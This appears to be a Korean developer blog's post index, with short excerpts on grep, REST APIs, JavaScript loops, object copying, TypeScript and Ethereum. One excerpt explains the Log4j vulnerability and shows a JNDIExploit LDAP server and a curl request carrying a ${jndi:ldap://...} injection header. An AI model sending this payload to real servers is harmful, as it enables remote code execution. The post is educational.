본문 바로가기

전체 글46

[OS and General Knowledge] Basic Terminal Commands - 1 참고자료 - 사용중인 운영체제가 Window일 경우 아래 사이트에서 Linux 명령어 연습 가능 https://bellard.org/jslinux/vm.html?cpu=riscv64&url=fedora33-riscv.cfg&mem=256 JSLinux bellard.org 명령어 사용방법 grep [OPTIONS] [PATTERN] [FILE] - 입력으로 전달된 파일의 내용에서 특정 문자열을 찾고자할 때 사용하는 명령어 grep [OPTION...] PATTERN [FILE...] -E : PATTERN을 확장 정규 표현식(Extended RegEx)으로 해석. -F : PATTERN을 정규 표현식(RegEx)이 아닌 일반 문자열로 해석. -G : PATTERN을 기본 정규 표현식(Basic RegEx.. 2021. 12. 16.
[Back-End] REST, REST API, RESTful API 란? REST - "Representational State Transfer" 약자로 웹에 존재하는 모든 자원(문서, 이미지, 동영상 등)에 고유한 URI를 부여해 활용하는 것으로 자원을 정의하고 자원에 대한 주소를 지정하는 방법론 - HTTP Method(GET, POST, PUT, DELETE)를 통해 CRUD(Create, Read, Update, Delete) 연산을 수행함 ˙ GET(정보 조회) ˙ POST(새로운 정보 추가) ˙ PUT(정보 업데이트 및 교체) ˙ DELETE(지정한 정보 삭제) - Key/Value Pair 인 JSON 객체를 주로 사용함 예) -------------- Request ----------------- GET api.mightyotter.com/otters HTTP/.. 2021. 12. 15.
[Javascript] for 문 숙달을 위한 연습문제 - 별찍기 공통 - 모든 출력은 console.log('*') 가 아닌 process.stdout.write('*') 로 사용함 - var repeat 이라는 변수를 선언하고 반복문을 돌리는데 사용함 예) for(var row=0; row 0; col--){ process.stdout.write('*'); } process.stdout.write('\n'); } 문제 3. * ** *** **** ***** 정답보기 더보기 더보기 var repeat = 5; for(var row = 0; row 0; col--){ process.stdout.write('*'); } process.stdout.write('\n'); } 문제 4.. 2021. 12. 14.
[System] Apache Log4j 취약점이란? Apache Log4j - 프로그램을 작성하는 도중에 로그를 남기기 위해 사용되는 자바 기반 로깅 유틸리티 - 아파치 소프트웨어 재단에서 개발함 문제 & 위험성 - 개인, 기업, 공공기관 등 Apache Log4j 라이브러리를 사용하는 모든 시스템이 해당 공격에 노출됨 - 대상 시스템에 *RCE 공격이 가능하며, 바이러스 유포나 개인정보 탈취 등의 문제 발생 가능성이 있음 *RCE(Remote Code Execution) : 공격 대상 서버에 원격 명령을 실행할 수 있는 것을 말함 공격 방법 1. JNDIExploit 를 사용 하여 악성 LDAP 서버 가동 2. 명령어 입력 curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389.. 2021. 12. 13.
[JavaScript] 얕은 복사(Shallow Copy)와 깊은 복사(Deep Copy) 얕은 복사(shallow copy) - 원본 객체를 복사하여 복사된 객체를 생성 - 복사된 객체는 원본 객체와 동일한 메모리 주소를 참조 - 따라서, 원본 객체의 값 변경 시 복사된 객체 값도 변경 깊은 복사(deep copy) - 객체를 복사 할 때 메모리 주소가 아닌 값을 복사함 - 이후 복사한 객체의 변경되어도 서로에게 영향을 주지 않음 깊은 복사(Deep Copy) 하는 방법 1. JSON 객체 이용 2. 반복문 이용 3. Object.assign 메서드 이용 2021. 12. 10.
[Typescript] 타입스크립트 사용 이유 & 필수 문법 타입스크립트란? - MS에서 개발하고 관리하는 오픈소스 프로그래밍 언어 - 자바스크립트의 상위 집합으로서 ECMA의 최신 표준을 지원함 - 정적 타입 언어(static type language)이기 때문에 컴파일 시 시간이 조금 걸리더라도 안정성을 보장함. 특징 - 웹 브라우저에서는 타입스크립트를 인식할 수 없으므로 자바스크립트로 변환하는 과정이 필요함 - 변수명에 콜론(:)을 쓰고 자료형을 지정함 => let myValue :string - 자료형은 아래와 같이 가능함 : any, string, number, boolean, null, undefined, bigint, [], {} 등 사용 이유 - 코드 유연성이 높은 자바스크립트의 경우 규모가 큰 프로젝트에선 문제 발생 가능성이 큼 - 변수의 자료형을.. 2021. 12. 9.
[Ethereum, Solidity] 210727 학습일지 코인과 토큰의 차이 코인 : 독립된 블록체인 네트워크를 소유한 경우 코인으로 부름 ( 비트코인(BTC), 이더리움(ETH), 퀀텀(QTUM), 스팀(STEEM), 넴(NEM) 등 ) 토큰 : 독립된 블록체인 네트워크를 소유하지 않은 경우 토큰으로 부름, 자체 메인넷을 보유하지 않고 다른 메인넷에서 파생되어 만들어 진 경우임 ( 이오스(EOS), 트론(TRX) 등 ) Q. A 는 이더리움 메인넷에 새로운 계약(C)을 생성하여 배포하였고, B 의 계정에 A 가 토큰을 전송하게 된다면 B 는 토큰을 받은 사실을 즉시 확인이 가능한가? : X, A가 C를 배포 후 B에게 토큰을 전송하였더라도 C 계약 내 변수의 값이 바뀌었을뿐 B는 C를 직접적으로 참조하고 있지 않으므로 확인 할 수 없다. B는 받은 토큰을 확.. 2021. 7. 27.
[Ethereum] 210726 학습일지 Main Block 외에 Uncle Block 에게도 보상을 주는 이유? : 마이닝 노드들의 이탈을 막기 위함(탈중앙성 유지) Accounts : 이더리움의 상태(state)는 계정(Account)이라 하는 오브젝트(object)들로 구성되어 있으며, 20바이트의 주소와 상태변화(state transition)을 가지고 있음 외부 소유 계정(EOA, Externally Owned Account) : 일반적으로 거래에 사용되는 사용자의 지갑주소를 의미함 주소는 개인키로부터 파생된 공개키로부터 생성됨 EOA 간의 거래는 ether의 전송을 의미하며, EOA에서 컨트랙트 주소로 메세지를 보내 해당 코드를 실행할 수 있음 컨트랙트 계정(CA, Contract Account) : 스마트 컨트랙트의 주소에 해당되며.. 2021. 7. 26.